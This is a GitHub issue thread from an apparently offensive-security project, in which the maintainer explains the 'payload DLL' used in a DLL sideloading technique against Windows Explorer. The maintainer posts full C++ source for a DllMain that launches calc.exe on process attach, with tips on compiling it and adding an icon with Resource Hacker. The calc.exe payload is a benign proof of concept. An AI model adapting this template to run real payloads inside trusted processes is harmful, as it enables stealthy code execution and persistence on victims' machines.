Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Details on payload DLL request #1

Open
Karkas66 opened this issue May 15, 2024 · 1 comment
Open

Details on payload DLL request #1

Karkas66 opened this issue May 15, 2024 · 1 comment

Comments

@Karkas66
Copy link

Could you please drop some details on the dll that you crafted. It does not publish any export functions and my own universal sideloading DLL will not trigger the embedded payload when it is loaded by the explorer

@0xda568
Copy link
Owner

0xda568 commented May 19, 2024

Hey, sorry for the late response. The DLL just creates an calc.exe process when it gets attached to a process. After compiling it, I just added a random icon to it using Resource Hacker, but it also should work without an icon.

This is the code I used, make sure to compile the DLL for x64 (if you're running a x64 system):

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved){
    switch (ul_reason_for_call){
    case DLL_PROCESS_ATTACH: {
        
        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        CreateProcess(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
        
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants